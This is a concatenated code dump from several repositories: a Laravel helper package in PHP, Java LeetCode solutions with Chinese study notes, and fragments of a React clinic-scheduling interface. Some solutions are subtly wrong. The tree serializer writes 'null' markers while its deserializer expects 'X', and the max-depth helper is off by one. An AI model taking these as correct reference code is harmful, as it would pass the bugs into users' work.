parent::setAttribute($key, $value); } /** * When need to make sure that we iterate through * all the keys. * * @return array */ public function attributesToArray() { $attributes = parent::attributesToArray(); foreach ($this->encryptable as $key) { if (isset($attributes[$key])) { $attributes[$key] = decrypt($attributes[$key]); } } return $attributes; } } <file_sep><?php namespace DALTCORE\Helpers; use Illuminate\Support\Facades\Request; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; class Route { /** * Get route name by given URI * * @param null|string $uri * @param string $method * * @return mixed */ public static function getRouteNameByUri($uri = NULL, $method = 'GET') { $route = NULL; if ($uri === NULL) { $uri = \URL::current(); $method = Request::instance()->getMethod(); } try { $route = app('router')->getRoutes()->match(app('request')->create($uri, $method)); } catch (NotFoundHttpException $exception) { return NULL; } if ($route) { return $route->getName(); } return NULL; } /** * check if the given route name(s) are matching with the current route name * * @param array $routeName * @return boolean * @depricated v1.0.1 use active_route() */ public static function isActiveRoute($routeName) { return in_array(route_name(), $routeName); } /** * Check if the given route is active based on current route name and fnmatch * * @param $routeName * @return bool */ public static function isRouteActive($routeName) { if (route_name() === null) { return false; } return fnmatch($routeName, route_name()); } /** * Check if the current uri contains the given uri * * @param string $uri * @param boolean $strict * @return boolean */ public static function isActiveUri($uri, $strict = false) { if($strict) { return Request::is($uri); } return Request::is('*' . $uri . '*'); } } <file_sep># laravel-useful-helpers Some useful helpers for Laravel Laravel 5.3/5.4/5.5/5.6/5.7/5.8/6.0/7.0 compatible ``` composer require daltcore/laravel-useful-helpers dev-master ``` ### Generate user friendly passwords So use's are not confused anymore with some characters. This is a know problem with people who can't see correct. ```php /** * Generate a password without i o 0 I l L etc. **/ echo user_friendly_password($length = 9, $add_dashes = false, $available_sets = 'lud'); ``` ### URL to Route name Get the route name for the url that's given. Might be handy some times. ```php /** * In case of named routes, you can use this function to transform the uri '/' to web.home.index * @param null|string $uri = '/' * @param string $method = 'GET' **/ echo route_name(); // site.home.show echo route_name(\URL::current()); // site.home.show echo route_name('cms/user/1/delete', 'DELETE'); // cms.user.delete ``` ### Check if the given route name match the current route name Just give a string and a boolean will be returned if the given route name has a match for the current route name. ```php /** * Check if the given route name is or are the same as the current route * * @param string $route * @return boolean */ if (active_route('cms.post.*')) { ... ``` ### Check if the given URI match the current URI You have two options: - Check if the given URI matches only a part of the current URI - Check if the given URI matches the current URI exactly ```php /** * Check if the current uri contains the given uri * * @param string $uri * @param boolean $strict * @return boolean */ if (activeUri('posts')) { ... if (activeUri('posts', true)) { ... ```
480ae196ab9ecee1da67ede567590f727935e8b3
[ "Markdown", "PHP" ]
4
PHP
DALTCORE/laravel-useful-helpers
402179df795692611fe9b6bc703f27c0c0964ed5
10935f17d8307e49ea60f6cfc0e5c4b9234022ad
refs/heads/main
<repo_name>wantLight/AlgorithmDay<file_sep>/src/main/java/leetcode/simple/LeetCode543.java package leetcode.simple; import leetcode.medium.TreeNode; /** * 求二叉树的任意两个节点的最长距离 * * 给定一棵二叉树,你需要计算它的直径长度。一棵二叉树的直径长度是任意两个结点路径长度中的最大值。这条路径可能穿过也可能不穿过根结点 * * 这就是124题的简单版本 */ public class LeetCode543 { static int maxTreeLength = 0; public int diameterOfBinaryTree(TreeNode root) { depth(root); return maxTreeLength; } public int depth(TreeNode root){ if (root == null){ return 0; } int Left = depth(root.left); int Right = depth(root.right); //将每个节点最大直径(左子树深度+右子树深度)当前最大值比较并取大者 maxTreeLength=Math.max(Left+Right,maxTreeLength); //返回节点深度 return Math.max(Left,Right)+1; } } <file_sep>/src/main/java/leetcode/simple/LeetCode104.java package leetcode.simple; import leetcode.medium.TreeNode; /** * 二叉树最大深度 * 给定一个二叉树,找出其最大深度。 * * 二叉树的深度为根节点到最远叶子节点的最长路径上的节点数。 * * 说明: 叶子节点是指没有子节点的节点。 */ public class LeetCode104 { int maxTreeLength = 0; public int maxDepth(TreeNode root) { depth(root); return maxTreeLength; } //return root == null ? 0 : Math.max(maxDepth(root.left), maxDepth(root.right)) + 1; public int depth(TreeNode root){ if (root == null){ return 1; } int Left = depth(root.left); int Right = depth(root.right); maxTreeLength = Math.max(maxTreeLength,Math.max(Left,Right)); return Math.max(Left,Right)+1; } } <file_sep>/src/main/java/leetcode/medium/LeetCode98.java package leetcode.medium; /** * 验证二叉搜索树 * 给定一个二叉树,判断其是否是一个有效的二叉搜索树。 * * 假设一个二叉搜索树具有如下特征: * * 节点的左子树只包含小于当前节点的数。 * 节点的右子树只包含大于当前节点的数。 * 所有左子树和右子树自身必须也是二叉搜索树。 * * * 来源:力扣(LeetCode) * 链接:https://leetcode-cn.com/problems/validate-binary-search-tree * * 中序遍历时,判断当前节点是否大于中序遍历的前一个节点,如果大于,说明满足 BST,继续遍历;否则直接返回 false。 */ public class LeetCode98 { // 递归获取的上一个值 long pre = Long.MIN_VALUE; // 递归想当前节点就可以了,不要往下想 public boolean isValidBST(TreeNode root) { if (root == null){ return true; } // 中序遍历 左中右 // 左边的值一定要大于节点,所以是! if (!isValidBST(root.left)){ return false; } // 中 if (root.val <= pre ){ return false; } pre = root.val; // 右 return isValidBST(root.right); } } <file_sep>/src/main/java/leetcode/medium/SortedArraysMerge.java package leetcode.medium; import java.util.Arrays; import java.util.Comparator; import java.util.PriorityQueue; /** * 合并N个长度为L的有序数组为一个有序数组 * * 使用PriorityQueue实现最小堆,需要定义一个指针数组,用于保存这N个数组的index, * 定义Node类用于保存当前数值(value)和该数字所在的数组序号(idx),并且覆写Comparetor<Node>的compare方法实现自定义排序。PriorityQueue的offer()和poll()方法时间复杂度均为logn。 * * 思路:首先将N个数组的第一位放到PriorityQueue,循环取出优先队列的首位(最小值)放入result数组中, * 并且插入该首位数字所在数组的下一个数字(如果存在),直到所有数字均被加入到result数组即停止(N*L)次。 */ public class SortedArraysMerge { static class Node { int value; int idx; public Node(int value, int idx) { this.value = value; this.idx = idx; } @Override public String toString() { return "Node{" + "value=" + value + ", idx=" + idx + '}'; } } public static int[] MergeArrays(int[][] arr) { int N = arr.length, L; if (N == 0)//此时传入数组为空 return new int[0]; else {//判断数组是否符合规范 L = arr[0].length; for (int i = 1; i < N; i++) if (arr[i].length != L) return new int[0]; //此时数组不规范 } int[] result = new int[N * L]; int[] index = new int[N]; Arrays.fill(index, 0, N, 0); PriorityQueue<Node> queue = new PriorityQueue<Node>(new Comparator<Node>() { @Override public int compare(Node n1, Node n2) { if (n1.value < n2.value) return -1; else if (n1.value > n2.value) return 1; else return 0; } }); for (int i = 0; i < N; i++) { Node node = new Node(arr[i][index[i]++], i); System.out.println(node); queue.offer(node); } System.out.println(Arrays.toString(index)); int idx = 0; while (idx < N * L) { Node minNode = queue.poll(); result[idx++] = minNode.value; if (index[minNode.idx] < L) { queue.offer(new Node(arr[minNode.idx][index[minNode.idx]], minNode.idx)); index[minNode.idx]++; } } return result; } public static void main(String[] args) { int[][] arr = new int[][]{ {1,2,3,4}, {2,4,6,8}, {6,7,8,9} }; System.out.println(Arrays.toString(MergeArrays(arr))); } } <file_sep>/src/main/java/leetcode/medium/stringtest/LeetCode1143.java package leetcode.medium.stringtest; /** * * 因为子序列类型的问题,穷举出所有可能的结果都不容易, * 而动态规划算法做的就是穷举 + 剪枝,它俩天生一对儿。所以可以说只要涉及子序列问题,十有八九都需要动态规划来解决。+ * * 最长公共子序列 * * 给定两个字符串 text1 和 text2,返回这两个字符串的最长公共子序列的长度。 * * 一个字符串的 子序列 是指这样一个新的字符串:它是由原字符串在不改变字符的相对顺序的情况下删除某些字符(也可以不删除任何字符)后组成的新字符串。 * 例如,"ace" 是 "abcde" 的子序列,但 "aec" 不是 "abcde" 的子序列。两个字符串的「公共子序列」是这两个字符串所共同拥有的子序列。 * * 若这两个字符串没有公共子序列,则返回 0。 * * 来源:力扣(LeetCode) * 链接:https://leetcode-cn.com/problems/longest-common-subsequence * 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。 * * * * * 最长公共子序列问题是经典的动规题目。 * * 动规分析如下: * 1.确定dp数组(dp table)以及下标的含义. * 说对于字符串 s1 和 s2,它们的长度分别是 m、n,一般来说都要构造一个这样的 DP table: * int[][] dp = new int[m+1][n+1]。 加1之后你就不需要去判断只是让索引为0的行和列表示空串。 * * 2.定义 base case * 让索引为0的行和列表示空串, * dp[0][...] 和 dp[...][0] 都应该初始化为0,这就是base case。 * * 3.找状态转移方程 * 现在对比的这两个字符不相同的,那么我们要取它的「要么是text1往前退一格,要么是text2往前退一格,两个的最大值」 * dp[i + 1][j + 1] = Math.max(dp[i+1][j], dp[i][j+1]); * 对比的两个字符相同,去找它们前面各退一格的值加1即可:dp[i+1][j+1] = dp[i][j] + 1; * * */ public class LeetCode1143 { // https://leetcode-cn.com/problems/longest-common-subsequence/solution/dong-tai-gui-hua-tu-wen-jie-xi-by-yijiaoqian/ public int longestCommonSubsequence(String text1, String text2) { int m = text1.length(), n = text2.length(); int[][] dp = new int[m + 1][n + 1]; for (int i = 0; i < m; i++) { for (int j = 0; j < n; j++) { // 获取两个串字符 char c1 = text1.charAt(i), c2 = text2.charAt(j); if (c1 == c2) { // 去找它们前面各退一格的值加1即可 dp[i + 1][j + 1] = dp[i][j] + 1; } else { //要么是text1往前退一格,要么是text2往前退一格,两个的最大值 dp[i + 1][j + 1] = Math.max(dp[i + 1][j], dp[i][j + 1]); } } } return dp[m][n]; } } <file_sep>/src/main/java/leetcode/medium/tree/LeetCode105.java package leetcode.medium.tree; import leetcode.medium.TreeNode; /** * 从前序与中序遍历序列构造二叉树 * 根据一棵树的前序遍历与中序遍历构造二叉树。 * * 与654感觉有点像 * 注意: * 你可以假设树中没有重复的元素。 * */ public class LeetCode105 { public TreeNode buildTree(int[] preorder, int[] inorder) { return build(preorder,0,preorder.length-1, inorder,0,inorder.length-1); } /* 递归:限定数据范围 构造二叉树,返回根节点 */ public TreeNode build(int[] preorder,int preStart,int preEnd, int[] inorder,int inStart,int inEnd){ if (preStart > preEnd){ return null; } int preVal = preorder[preStart]; int index = -1; for (int i = inStart; i <= inEnd ; i++) { if (preVal == inorder[i]){ index = i; break; } } // 思想:前序遍历。 // 根节点一定是前序的第一个数 TreeNode treeNode = new TreeNode(preVal); // preStart + leftSize int leftSize = index - inStart; treeNode.left = build(preorder,preStart+1,preStart + leftSize, inorder,inStart,index-1); treeNode.right = build(preorder,preStart + leftSize+1,preEnd, inorder,index+1,inEnd); return treeNode; } } <file_sep>/src/main/java/leetcode/hard/LeetCode124.java package leetcode.hard; import leetcode.medium.TreeNode; /** * 二叉树中的最大路径和 * 给定一个非空二叉树,返回其最大路径和。 * * 本题中,路径被定义为一条从树中任意节点出发,沿父节点-子节点连接,达到任意节点的序列。该路径至少包含一个节点,且不一定经过根节点。 * * 来源:力扣(LeetCode) * 链接:https://leetcode-cn.com/problems/binary-tree-maximum-path-sum * * 与543相同解法 */ public class LeetCode124 { int result = Integer.MIN_VALUE; /** * 转化为对每一个节点来说,最大路径无非是 自己(如果值大于0) + 左边的最大值(如果值大于0) + 右边的最大值(如果值大于0) * * 经过root的单边分支最大和, 即Math.max(root, root+left, root+right) * * @param root * @return */ public int maxPathSum(TreeNode root) { if (root == null){ return 0; } maxValue(root); return result; } public int maxValue(TreeNode root){ if (root == null){ return 0; } //左:计算左边分支最大值,左边分支如果为负数还不如不选择 int maxLeft = Math.max(0, maxValue(root.left)); //右:计算右边分支最大值,右边分支如果为负数还不如不选择 int maxRight = Math.max(0, maxValue(root.right)); //中:经过root的分支最大和 / 与已经计算过历史最大值做比较 result = Math.max(result, root.val + maxLeft + maxRight); // 返回经过root的单边最大分支给当前root的父节点计算使用 return root.val + Math.max(maxLeft, maxRight); } } <file_sep>/src/main/java/leetcode/medium/stringtest/LeetCode3.java package leetcode.medium.stringtest; import java.util.HashMap; import java.util.HashSet; import java.util.Set; /** * 无重复字符的最长子串 * * 给定一个字符串,请你找出其中不含有重复字符的 最长子串 的长度。 * * abcabcbb -> 3 * * 1、首先,判断当前字符是否包含在map中,如果不包含,将该字符添加到map(字符,字符在数组下标), * 此时没有出现重复的字符,左指针不需要变化。此时不重复子串的长度为:i-left+1,与原来的maxLen比较,取最大值; * * 2、如果当前字符 ch 包含在 map中,此时有2类情况: * 1)当前字符包含在当前有效的子段中,如:abca,当我们遍历到第二个a,当前有效最长子段是 abc,我们又遍历到a, * 那么此时更新 left 为 map.get(a)+1=1,当前有效子段更新为 bca; * 2)当前字符不包含在当前最长有效子段中,如:abba,我们先添加a,b进map,此时left=0,我们再添加b,发现map中包含b, * 而且b包含在最长有效子段中,就是1)的情况,我们更新 left=map.get(b)+1=2,此时子段更新为 b,而且map中仍然包含a,map.get(a)=0; * 随后,我们遍历到a,发现a包含在map中,且map.get(a)=0,如果我们像1)一样处理,就会发现 left=map.get(a)+1=1,实际上,left此时 * 应该不变,left始终为2,子段变成 ba才对。 * * 为了处理以上2类情况,我们每次更新left,left=Math.max(left , map.get(ch)+1). * 另外,更新left后,不管原来的 s.charAt(i) 是否在最长子段中,我们都要将 s.charAt(i) 的位置更新为当前的i, * 因此此时新的 s.charAt(i) 已经进入到 当前最长的子段中! */ public class LeetCode3 { public static int lengthOfLongestSubstring(String s) { if (s.length()==0){ return 0; } HashMap<Character, Integer> map = new HashMap<Character, Integer>(); int max = 0; //滑动窗口左下标,i相当于滑动窗口右下标 int left = 0; for(int i = 0; i < s.length(); i ++){ //charAt() 方法用于返回指定索引处的字符。索引范围为从 0 到 length() - 1。 if(map.containsKey(s.charAt(i))){ //map.get():返回字符所对应的索引,当发现重复元素时,窗口左指针右移 //map.get('a')=0,因为map中只有第一个a的下标,然后更新left指针到原来left的的下一位 left = Math.max(left,map.get(s.charAt(i)) + 1); } //再更新map中a映射的下标 map.put(s.charAt(i),i); //比较两个参数的大小 max = Math.max(max,i-left+1); } return max; } public static void main(String[] args) { int abaca = lengthOfLongestSubstring("abaca"); System.out.println(abaca); } } <file_sep>/README.md 2020.10.12开启每日刷题模式。这里记录每日刷题进展与代码目录情况~ 如果对时间复杂度的要求有 \loglog,通常都需要用到二分查找。 动态规划:https://leetcode-cn.com/problems/fibonacci-number/solution/dong-tai-gui-hua-tao-lu-xiang-jie-by-labuladong/ **数据结构的存储方式只有两种:数组(顺序存储)和链表(链式存储)。** #动态规划 ## 简单数字 ### 202(leetcode.simple):快乐数 (快慢指针) slow=squareSum(slow); fast=squareSum(fast);fast=squareSum(fast); 如果给定的数字最后会一直循环重复,那么快的指针(值)一定会追上慢的指针(值),也就是两者一定会相等。 如果没有循环重复,那么最后快慢指针也会相等,且都等于1。 ## 二叉树: 前:根左右 中:左根右 (二叉搜索树的一个特性:通过中序遍历所得到的序列,就是有序的。) 后:左右根 `快速排序就是个二叉树的前序遍历,归并排序就是个二叉树的后续遍历` 二叉树的问题难点在于,如何把题目的要求细化成每个节点需要做的事情。还要考虑递归的终止条件!! **写递归算法要明确函数的定义,相信它,不要跳入进去** 对于构造二叉树的问题,根节点要做的就是把想办法把自己构造出来。 按照题目要求细化,明确根节点应该干什么,剩下的交给遍历框架处理。 ### 98(leetcode.medium):验证二叉搜索树 (中序遍历,判断当前节点是否大于中序遍历的前一个节点) ### 543(leetcode.simple):二叉树的直径 (后序遍历,将每个节点最大直径(左子树深度+右子树深度)当前最大值比较并取大者) ### 104(leetcode.simple):二叉树最大深度 return root == null ? 0 : Math.max(maxDepth(root.left), maxDepth(root.right)) + 1; ### 124(leetcode.Hard):二叉树中的最大路径和 【后序遍历】 先算left 、 right 的max(0, oneSideMax(root.xxx)); (后序遍历,最后得出经过root的单边分支最大和, 即Math.max(root, root+left, root+right)) ### 297(leetcode.Hard):二叉树的序列化与反序列化 (前序遍历,DFS递归遍历一棵树,只需关注当前的根节点就好,它的子树的遍历交给递归完成) ### 101(leetcode.simple):对称二叉树 (需要借助两个节点递归,递归的终止条件是两个节点都为空) ### 617(leetcode.simple):合并二叉树 (先合并根节点,再递归合并左右子树) ### 654(leetcode.medium):最大二叉树 终止条件:当l>r时,说明数组中已经没元素了,自然当前返回的节点为null。 一次递归做了什么:找当前范围为[l,r]的数组中的最大值作为root节点, ### 226(leetcode.simple):翻转二叉树 (咋遍历都行,用TreeNode整体保存子树) ### Offer(54)二叉搜索树的第k大节点 二叉搜索树的一个特性:通过中序遍历所得到的序列,就是有序的。 ### Offer(26)二叉搜索树的子树 先序遍历 + 包含判断 ### 105(leetcode.medium):最大二叉树 // 思想:前序遍历。 根节点一定是前序的第一个数 ## 链表: ### 25(leetcode.Hard): K 个一组翻转链表 (阿里\虾皮面试) (递归/链表的反转) ### 2(leetcode.medium):两数相加 放一个数字代表进位 ### 148(leetcode.medium):排序链表 递归排序三部曲:1,快慢指针找中点;2,递归调用mergeSort,3,合并两个链表 单链表和双链表的反转(100%) ## 数组: 动态规划:先考虑最简单的情况,从这里开始推移。 memo[i] 表示考虑抢劫 nums[i...n-1] 所能获得最大收益(不是说一定从 i 开始抢劫) 先考虑最简单的情况 memo[n - 1] = nums[n - 1]; memo[i] 的取值在考虑抢劫 i 号房子和不考虑抢劫之间取最大值 memo[i] = Math.max(nums[i] + (i + 2 >= n ? 0 : memo[i + 2]), nums[i + 1] + (i + 3 >= n ? 0 : memo[i + 3])); ### 121(leetcode.simple) 买卖股票的最佳时机 动态规划 前i天的最大收益 = max{前i-1天的最大收益,第i天的价格-前i-1天中的最小价格} ### 40(leetcode.simple) 最小的k个数 (腾讯面试题) 单边循环法 --- 快排切分 (根据下标j与k-1的大小关系来决定继续切分左段还是右段。) ### 数组存在两个出现奇数次数的值,按序输出(60%) ### 15(leetcode.medium): 三数之和 (排序+双指针) ### 322(leetcode.medium):零钱兑换 // F(S):组成金额 S 所需的最少硬币数量 / 不过是⼀个 N 叉树的遍历问题⽽已 ## 字符串: ### 10leetcode.Hard): 正则表达式匹配 (动态规划) ### 5(leetcode.medium):最长回文子串 (顺序遍历,定位中间重复部分的最后一个字符,再从中间向左右扩散) ### 3(leetcode.medium):无重复字符的最长子串 left = Math.max(left,map.get(s.charAt(i)) + 1) :返回字符所对应的索引,当发现重复元素时,窗口左指针右移 (滑动窗口,拟定左边右边,增加hashmap存储下标与窗口位置的关系,) ### 1143(leetcode.medium):最长公共子序列 只要涉及子序列问题,十有八九都需要动态规划来解决。 dp[i + 1][j + 1] = Math.max(dp[i+1][j], dp[i][j+1]); 对比的两个字符相同,去找它们前面各退一格的值加1即可:dp[i+1][j+1] = dp[i][j] + 1; <file_sep>/src/main/java/leetcode/hard/LeetCode297.java package leetcode.hard; import leetcode.medium.TreeNode; import java.util.*; /** * 二叉树的序列化与反序列化 * 序列化是将一个数据结构或者对象转换为连续的比特位的操作,进而可以将转换后的数据存储在一个文件或者内存中,= * 同时也可以通过网络传输到另一个计算机环境,采取相反方式重构得到原数据。 * * 请设计一个算法来实现二叉树的序列化与反序列化。这里不限定你的序列 / 反序列化算法执行逻辑, * 你只需要保证一个二叉树可以被序列化为一个字符串并且将这个字符串反序列化为原始的树结构。 * * * 来源:力扣(LeetCode) * 链接:https://leetcode-cn.com/problems/serialize-and-deserialize-binary-tree * 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。 * * 递归遍历一棵树,只需关注当前的根节点就好,它的子树的遍历交给递归完成: * “serialize函数,请帮我序列化我的左右子树,我等你的返回结果,再追加到我身上。” * 选择前序遍历是因为 根|左|右根∣左∣右 的打印顺序,在反序列化时更容易定位出根节点的值。 * * * */ public class LeetCode297 { // Encodes a tree to a single string. public String serialize(TreeNode root) { if (root == null){ // 遇到 null 节点也要翻译成一个符号,反序列化时才知道这里对应 null。 return "null,"; } // 根 不需要特殊处理 String leftStr = serialize(root.left); String rightStr = serialize(root.right); return root.val + "," + leftStr + rightStr; } // Decodes your encoded data to tree. /** * 构建树的函数 buildTree 接收的 “状态” 是 list 数组,由序列化字符串转成 * 按照前序遍历的顺序:先构建根节点,再构建左子树、右子树 * 将 list 数组的首项弹出,它是当前子树的 root 节点 * 如果它为 'X' ,返回 null * 如果它不为 'X',则为它创建节点,并递归调用 buildTree 构建左右子树,当前子树构建完毕,向上返回 */ public TreeNode deserialize(String data) { String[] temp = data.split(","); Deque<String> dp = new LinkedList<>(Arrays.asList(temp)); return buildTree(dp); } private TreeNode buildTree(Deque<String> dq){ //一个一个出队 String s = dq.poll(); if (s.equals("X")) return null; // 前序遍历 //先构建根节点 TreeNode node = new TreeNode(Integer.parseInt(s)); //构建左子树 node.left = buildTree(dq); //构建右子树 node.right = buildTree(dq); return node; } } <file_sep>/src/main/java/leetcode/simple/LeetCode226.java package leetcode.simple; import leetcode.medium.TreeNode; /** * 翻转二叉树 */ public class LeetCode226 { // 前序遍历 中左右 public TreeNode invertTree(TreeNode root) { if (root == null) return null; // 保存右子树 TreeNode rightTree = root.right; // 交换左右子树的位置 root.right = invertTree(root.left); root.left = invertTree(rightTree); return root; } }
1a7b44c1f4c2951dfa33db4af6de030f8b4558c5
[ "Markdown", "Java" ]
11
Java
wantLight/AlgorithmDay
43afe1379932ce2ad112dc054459e23eb386ce14
c8dc5018df3c01e0461196d0039f99a572b544ce
refs/heads/master
<file_sep>const appointmentList = [{ employee_1: { appointment: [ {id: "app_1", text: "<NAME> на дворе начальника", height: 4, top: 3, priority: 0}, {id: "app_2", text: "Допить чай", height: 2, top: 10, priority: 2} ] }, employee_2: { appointment: [ {id: "app_1", text: "Сбегать за хлебушком", start: '09:20', end: '10:40', height: 8, top: 7, priority: 1} ] } }]; export const appointment = (state = appointmentList) => { return state };<file_sep>import React from 'react'; import PropTypes from 'prop-types'; import Portal from './Portal'; import Icon from './Icon'; import Button from "@material-ui/core/Button"; const Modal = ({title, isOpen, onCancel, onSubmit, children, size}) => { return ( <> {isOpen && <Portal> <div className="modalOverlay"> <div className="modalWindow" style={{width: size}}> <div className="modalHeader"> <div className="modalTitle">{title}</div> <Icon name="times" onClick={onCancel}/> </div> <div className="modalBody"> {children} </div> <div className="modalFooter"> <Button onClick={onSubmit} className='modalFooter__button' variant="contained" color="secondary"> Отмена </Button> <Button onClick={onCancel} className='modalFooter__button' variant="contained" color="primary"> Принять </Button> </div> </div> </div> </Portal> } </> ); }; Modal.propTypes = { title: PropTypes.string, isOpen: PropTypes.bool, onCancel: PropTypes.func, onSubmit: PropTypes.func, children: PropTypes.node, }; Modal.defaultProps = { title: 'Modal title', isOpen: false, onCancel: () => {}, onSubmit: () => {}, children: null, }; export default Modal;<file_sep>import React, {Component} from 'react'; import '../../assets/style/AddAppointment.sass' import DateFnsUtils from '@date-io/date-fns'; import {MuiPickersUtilsProvider, KeyboardTimePicker} from '@material-ui/pickers'; class AddAppointment extends Component { state = { time: new Date(this.props.time.substr(0, 19)) }; handleTimeChange = () => { }; render() { return ( <div className='addAppointment'> <MuiPickersUtilsProvider utils={DateFnsUtils}> <KeyboardTimePicker margin="normal" id="time-picker" label="Time picker" value={this.state.time} onChange={this.handleTimeChange} KeyboardButtonProps={{ 'aria-label': 'change time', }} /> </MuiPickersUtilsProvider> {this.props.time.substr(0, 19)} </div> ); } } export default AddAppointment;<file_sep># Paused ## Realized features ### Schedule Table UI ### Patient Page <file_sep>import React, {Component} from 'react'; import AddAppointmentBtn from "./AddAppointmentBtn"; import AppointmentElement from "./AppointmentElement"; import Modal from "../Modal"; import AddAppointment from "./AddAppointment"; class TaskList extends Component { state = { hovered: false, time: '', hoursFrom: '', hoursTo: '', addTask: false }; toggleHover = () => { this.setState({ hovered: true }) }; toggleLeave = () => { this.setState({ hovered: false }) }; getTime = () => { let {position} = this.props; this.setState({ time: new Date((((position.y - 5) * 30) + 32400) * 1000).toISOString(), hoursFrom: new Date((((position.y - 5) * 30) + 32400) * 1000).toISOString().substr(11, 5), hoursTo: new Date((((position.y - 5) * 30) + 33600) * 1000).toISOString().substr(11, 5) }) }; addTask = () => { this.setState({ addTask: true, hovered: false }) }; cancelAdd = () => { this.setState({ addTask: false, }) }; render() { const {user, position, ap, showInfo} = this.props; return ( <div key={user.id} className='scheduleGrid__list' onMouseEnter={this.toggleHover} onMouseLeave={this.toggleLeave} onMouseMove={this.getTime} onClick={!this.state.addTask && this.addTask} > <AddAppointmentBtn from={this.state.hoursFrom} to={this.state.hoursTo} isShown={this.state.hovered} position={position} /> {ap[0][user.id] ? ap[0][user.id].appointment.map((ap, index) => { return ( <AppointmentElement key={ap.id+index} ap={ap} showInfo={showInfo}/> ) }) : null} {this.state.addTask && <Modal title={user.name} size={900} isOpen={this.state.addTask} onCancel={this.cancelAdd} > <AddAppointment time={this.state.time}/> </Modal> } </div> ); } } export default TaskList;<file_sep>import React, { Fragment } from 'react'; import PropTypes from 'prop-types'; import 'date-fns'; import classNames from 'classnames'; import DateFnsUtils from '@date-io/date-fns'; import {MuiPickersUtilsProvider, KeyboardDatePicker, KeyboardTimePicker} from '@material-ui/pickers'; const Input = ({ label, placeholder, className, id, split, time, date, value, ...attrs }) => { const classes = classNames( 'filterInput__input', className, ); const classes_split = classNames( 'filterInput__input--split', className, ); const classes_date = classNames( 'filterInput__input--date', className, ); return ( <Fragment> {!split && <div className='filterInput'> <span className='filterInput__label'>{label}</span> <input type="text" placeholder={placeholder} className={classes}/> </div> } {split && <div className='filterInput'> <span className='filterInput__label'>{label}</span> <div className='filterInput__group'> {!date && <Fragment> <input type="text" className={classes_split} placeholder='От'/> <input type="text" className={classes_split} placeholder='До'/> </Fragment>} {date && <MuiPickersUtilsProvider utils={DateFnsUtils}> <KeyboardDatePicker disableToolbar variant="inline" format="MM/dd/yy" margin="normal" value={value} id={id + '_from'} className={classes_date} KeyboardButtonProps={{ 'aria-label': 'change date', }} {...attrs} /> <KeyboardDatePicker disableToolbar variant="inline" format="MM/dd/yy" margin="normal" value='0' id={id + '_to'} className={classes_date} KeyboardButtonProps={{ 'aria-label': 'change date', }} {...attrs} /> </MuiPickersUtilsProvider> } {time && <MuiPickersUtilsProvider utils={DateFnsUtils}> <KeyboardTimePicker margin="normal" id="time-picker" label="Time picker" value={value} KeyboardButtonProps={{ 'aria-label': 'change time', }} /> </MuiPickersUtilsProvider> } </div> </div> } </Fragment> ); }; Input.propTypes = { label: PropTypes.string, placeholder: PropTypes.string, className: PropTypes.string, id: PropTypes.string, split: PropTypes.bool, date: PropTypes.bool, }; export default Input;<file_sep>import React, {Fragment} from 'react'; const AddAppointmentBtn = ({isShown, position, from, to}) => { return ( <Fragment> {isShown && <div style={{top: position.y - 5}} className='scheduleGrid__add'> {from + '-' + to} Новая запись </div> } </Fragment> ); }; export default AddAppointmentBtn;<file_sep>import React from 'react'; import './../../assets/style/ButtonGroup.sass' import Icon from "../Icon"; const ButtonGroup = () => { const cash = 2500; return ( <div className='buttonGroup'> <button className='buttonGroup__left'>Визиты</button> <button className='buttonGroup__right'>Основная касса <span>{cash}р <Icon name='angle-right'/></span></button> </div> ); } export default ButtonGroup;<file_sep>import React, {Component, useState} from 'react'; import Modal from "../Modal"; import AppointmentElement from "./AppointmentElement"; import AddAppointmentBtn from "./AddAppointmentBtn"; import TaskList from "./TaskList"; class Appointments extends Component { state = { isShown: false }; render () { const {users, appointment, showInfo, isOpen, selectedAp, position} = this.props; const ap = appointment; return ( <div className="scheduleGrid"> {users.map(user => { return ( <TaskList user={user} position={position} ap={ap} showInfo={showInfo}/> ) })} {selectedAp && <Modal isOpen={isOpen} title={selectedAp.text} onCancel={showInfo} > {selectedAp.text} </Modal> } </div> ); }; } export default Appointments;<file_sep>import React, {Fragment} from 'react'; import { makeStyles } from '@material-ui/core/styles'; import ExpansionPanel from '@material-ui/core/ExpansionPanel'; import ExpansionPanelDetails from '@material-ui/core/ExpansionPanelDetails'; import ExpansionPanelSummary from '@material-ui/core/ExpansionPanelSummary'; import ExpansionPanelActions from '@material-ui/core/ExpansionPanelActions'; import ExpandMoreIcon from '@material-ui/icons/ExpandMore'; import Button from '@material-ui/core/Button'; import Fab from "@material-ui/core/Fab"; import AddIcon from '@material-ui/icons/Add'; import InputGroup from "./InputGroup"; const useStyles = makeStyles(theme => ({ root: { width: '100%', }, heading: { fontSize: theme.typography.pxToRem(15), }, secondaryHeading: { fontSize: theme.typography.pxToRem(15), color: theme.palette.text.secondary, }, icon: { verticalAlign: 'bottom', height: 20, width: 20, }, details: { alignItems: 'center', }, column: { flexBasis: '33.33%', }, helper: { borderLeft: `2px solid ${theme.palette.divider}`, padding: theme.spacing(1, 2), }, link: { color: theme.palette.primary.main, textDecoration: 'none', '&:hover': { textDecoration: 'underline', }, }, fab: { margin: theme.spacing(1), }, extendedIcon: { marginRight: theme.spacing(1), }, })); const Filter = ({ changeVisibility}) => { const classes = useStyles(); return ( <Fragment> <div className={classes.root}> <ExpansionPanel defaultExpanded> <ExpansionPanelSummary expandIcon={<ExpandMoreIcon />} aria-controls="panel1c-content" id="panel1c-header" > <div className={classes.column}> <Fab onClick={changeVisibility} size="small" color="primary" aria-label="add" className={classes.fab}> <AddIcon /> </Fab> </div> </ExpansionPanelSummary> <ExpansionPanelDetails className={classes.details}> <InputGroup/> </ExpansionPanelDetails> <ExpansionPanelActions> <Button size="small">Сбросить</Button> <Button size="small" color="primary"> Искать </Button> </ExpansionPanelActions> </ExpansionPanel> </div> </Fragment> ); }; export default Filter;<file_sep>import React, {Fragment} from 'react'; import ExpansionPanelSummary from "@material-ui/core/ExpansionPanelSummary"; import ExpansionPanelDetails from "@material-ui/core/ExpansionPanelDetails"; import ExpansionPanel from "@material-ui/core/ExpansionPanel"; import Button from "@material-ui/core/Button"; const cards = [ {name: 'Основные данные', component: 'Hello', open: true}, {name: 'Контакты', component: 'Hello'}, {name: 'Документы', component: 'Hello'}, {name: 'Дисконтная карта', component: 'Hello'}, {name: 'Место регистрации', component: 'Hello'}, {name: 'Заболевания, по поводу которых осуществляется диспансерное наблюдение', component: 'Hello'}, {name: 'Личные данные', component: 'Hello'}, 